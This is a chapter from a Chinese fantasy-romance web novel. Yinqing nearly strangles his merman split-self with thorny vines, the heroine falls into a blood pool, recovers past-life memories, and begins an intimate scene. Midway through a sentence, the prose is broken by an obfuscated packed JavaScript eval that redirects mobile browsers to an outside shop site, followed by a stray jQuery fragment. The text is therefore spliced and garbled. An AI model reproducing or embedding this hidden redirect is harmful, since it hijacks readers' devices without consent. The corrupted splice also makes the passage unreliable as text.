水声哗啦。
满池植物汁液加上鲛人血不断流出,原本水池里黄色泥沙硬生生被压下,混合成污浊的青绿。草木汁液与鲛人血糅合,逐渐在宅子里弥漫。草木在此刻似是从地下吸食他们的血液,以肉眼可见的速度生长。
陆陆续续播撒下的花种不多时顶破泥土,嫩芽冒出,密密麻麻的青绿色如黑夜中的点点萤火。伸展绿叶,长出花苞。
岑让川被这幅画面吓愣了。
她完全想不到,只不过是帮鲛人取个鱼刺,能演变成现在这你死我活的场面。
鲛人被藤蔓缠绕,他在其间不断挣扎扭动,身上被尖刺划出深深浅浅的伤痕。
“救我……”
求救话语止住,荆棘已扎入脖颈。
银清就在鲛人背后,不断缩紧藤蔓长度。
岑让川注意到鲛人脖颈上的伤痕渐渐显现在银清脖子上,立即明白过来,他们本就是一体。
银清在绞杀鲛人的同时,何尝不是在绞杀自己?
可她不明白。
她刚来的时候,也亲眼见过银清本体绞杀过他自己的分身,那时,为什么他会平安无事?这次又为什么会在他本体上显现出同样的伤痕?
没等她想明白,她已经下意识越过栏杆,在池边蹲下,伸手去抓住鲛人脖颈间带刺藤蔓,不让银清继续。
鲛人在意识昏迷前终于呼吸上一口空气,惊惧下不顾一切地抓住她手腕,带着哭腔嘶喊:“救我,救我,我不想死……”
话音未落,脖子间又是一紧。
尖锐刺破人类皮肤,流下鲜红血液,瞬间打湿藤蔓。
“银清,住手!”她着急地喊。
“你松手!”银清与藤蔓共感,第一时间便觉察到她因自己受伤,却没有想要罢手。
他早该弄死这条鲛人,不论要付出什么样的代价。
无非就是去掉半条命,他还承受得起!
千年前,哪怕她得到鲛人后一年选择将他放回海中。
但在此后岁月,每隔三五年她都要出城去海边一趟,就为了见鲛人。
他们之间有约定的暗号,只要她在岸边吹响鲛人送她的哨,他就会出现。
银清可以容忍她身边有其他人。
却绝不允许她爱上他们。
她心里……不能有任何人啊……
不然,他怎么办呢?
他会被她扔在角落里,等待多久……才能见到她?
过去的梦魇缠绕,银清下意识勒紧藤蔓。
他使得力气太大,蹲在岸上的岑让川本就处于地理上的劣势,猝不及防间,被他拽地往前倾。
鲛人脖子勒在小小的空隙,两边藤蔓挤压,已经翻白眼。
岑让川当着他的面,因为惯性,“噗通”一声掉入满是非人类的血池中。
鼻腔灌入青绿色浑浊液体,苦甜、腥涩,像扑入中药汤里,令人反胃。
周围鲫鱼像在油锅里,不断跃出水面。
她掉进水里才知道为什么。
随着血水灌入肺里,似缓慢结冰般,冻得人五脏六腑发痒发疼。
寒冷由内而外,她控制不住地发起抖。
血液犹如已凝固,皮肤都快要剥离血肉,只要用小刀割开一个口子,血水立时灌进去,成为一具浮尸。
岑让川努力睁开眼睛,想往水面上浮。
却在这刹那,看到银清沉下来。
虹膜亮起金色光圈,无数记忆纷至沓来,如走马灯般在她面前划过。
前世有关鲛人的记忆零零碎碎进入她的脑海。
身着明黄色华服的女子坐在浴池旁,水面倒映出与自己一般无二的容貌。她笑着听鲛人为她唱出缠绵的曲调,喜爱地抚摸他的头发,甚至……亲吻过他的额角。
她说:“你陪我一年,一年后我放你自由。”
她花了许多心思才让鲛人相信,她会放他回去。
一年后。
她履行承诺,将鲛人放归大海。
在这期间,她见银清的次数不超过五次。
每次都是商谈公事。
还有一次,她把鲛人带去他的府邸。
那次,窗明几净,满室熏香。
他站在府门前迎接她,华服层叠,衣佩玎珰,处处精致。
深邃精致的容颜敷了珍珠粉,阳光下犹如覆盖上一层薄弱的光。现在再次看到同样的画面,她才看到,他不止脸上敷过粉,手上、脖子上、锁骨上,露出的每寸皮肤都蒙了一层微光。
画眉涂脂,细细描摹,多一分则艳,少一分则淡,花费心思讨她欢心。
可她却那样对他……
鲛人走后,她心意难平。
向来持身端正的林家三公子端上自酿的烈酒,耐心劝诫,被她说滚也当作听不到。
最终。
她醉倒在他怀中。
他与她滚在榻上,意乱情迷时问她:“帝君,只爱林清一个好不好?”
她是怎么回答的呢?
“林清,不要太贪心。”
时隔千年,青绿色的池水模糊了他的面容。
她却如此清晰地看到他眼中碎玉般的怨恨,盛满在名叫痛的器皿中。
他的忌妒、他的挣扎、他的凄苦……
她视而不见。
连同他滋生的爱,皆被她弃如敝履。
那么……这一世呢?
岑让川轻轻捧住他的脸,印在他的唇上。
不规则的气泡从她们唇齿间溢出,互相纠缠,仿佛要把对方吞吃入腹。
银清杀意在顷刻间被瓦解,不知不觉间松开了手。
鲛人得以喘息,不顾一切爬上岸,按着脖子爬到刚生长出的花丛中后平复呼吸。
他是银清第一个分裂出的分身,距离现在千年时间,他早已有自己的想法,不想再被主体吞噬。
银清怨他,他是知道的。但他的分身离得太远会有枯萎的可能,这次偷偷摸摸回来,本以为不会被发现……
谁知道银清不仅发现了,还把他留下来当作钓岑让川的幌子。
心眼子忒多!
他又没勾引岑让川,进宅子以来生怕她看上自己,一直凶巴巴的。要不是银清故意把那桶鲫鱼倒下来,他也不会被鱼刺卡住!他不被鱼刺卡住就不会求助岑让川!
宅子里长手的生物统共的就她们俩他还能找谁?
说到底就是银清的错!
关他什么事?!
他只是一条美貌的鱼啊!
鲛人自恋地想着,又往前爬了一寸。
刚从死亡线上下来,他的小心脏还扑通扑通地跳。
岑让川在,银清应该……
他想到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741299|145178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这,听到水面被破开,大量水花被溅上岸。
从茂盛花丛罅隙中,依稀可窥见一抹春色。
两道纠缠的人影几乎快合二为一,隐隐约约可以听到银清喉间溢出的低吟。
鲛人小脸一红。
岑让川已经把银清上衣扒下半边,轻轻用虎牙磨他湿淋淋的耳垂。
不多时,便红得像树上的樱桃。
她边在银清身上留下痕迹,边睁眼去看岸上的鲛人。
一看之下,她恨不得锤爆那条鱼的脑壳。
还不走?
在这看你主体的活春宫?
嫌死得不够快?
银清觉察到点她的分心,想要转头去看,立刻被她摁住,柔软的舌在他喉结上像在卷弄樱桃核。
“嗯……”银清敛眸仰起头,让她能更加顺利地品尝自己。
岑让川赶紧用手垫在他后脑,生怕他现在嗑疼了清醒过来。
她空出另一只手,朝鲛人方向挥动,示意他赶紧离开。
鲛人鬼鬼祟祟地点头,这宅子里不止这一处有池塘,他去另外一边,不在这,见不到岑让川,银清应该不会追杀到底了吧?
问题来了,银清真要置自己于死地的话,他跑那么远,没法跟岑让川求救啊!
左右为难之际,一根藤条悄无声息腾空跃起。
“啪”一下,抽在人鱼尾巴上。
鲛人疼得嚎了一嗓子。
银清慢慢闭上眼,嗓音喑哑,吐出一个字:“滚。”
岑让川一愣,以为他是在跟自己说话,马不停蹄鸣金收兵要上岸离开。
银清拉住她,眼里有她看不懂的情绪,湿漉漉的几乎被升起的欲念占满。
他让她把手放在自己胸口,低声说:"你要是走了,我现在就绞死他。"
“……”
岑让川和鲛人同时沉默。
鲛人想说话,又不敢说,乞求的目光望向她,顺带哭出几颗珍珠企图用贿赂手段让岑让川心软,让她献身留下自己一条狗命。
岑让川盯着那几颗珍珠,勉勉强强答应:“不走……”
她刚说完,银清拥上来,隐隐急迫地说:“不许再看他,也不许跟他说话。快点,碰我。”
快点,碰我。
岑让川心不在焉说好,目光控制不住往鲛人那飘去,揉他的动作不免轻缓几分。
银清伸手盖住她的眼睛,用力吻上来,差点给她咬出血。
他受不了从她眼睛里看到鲛人的影子,力度不免有些控制不住。
没了视觉,其余感官异常清晰。
她甚至能听到鲛人鳞片滑过草地去到沿廊上快速离开的声音。
岑让川暂时放下心来,也不管嘴上被他咬破皮,终于肯专心对付他。
手掌下,浸过水的皮肤滑腻地像半凝固的牛乳布丁,点缀着两颗榛子,还是刚从烤箱拿出来的,又热又烫。
他难耐地哼出声,又嫌在水里不方便,直接让水下藤条把他们送上岸,纠缠的身影压塌一簇又一簇花草。
银清仰面躺下,琥珀色眼眸望见碧蓝的天空。
从未在光天化日毫无瓦片遮掩下做这种事的他难得感到羞涩。
岑让川觉察到他放不开,随意摘了片叶子遮在他双眼上后默默用力。
如愿以偿听到他压抑地喊出声。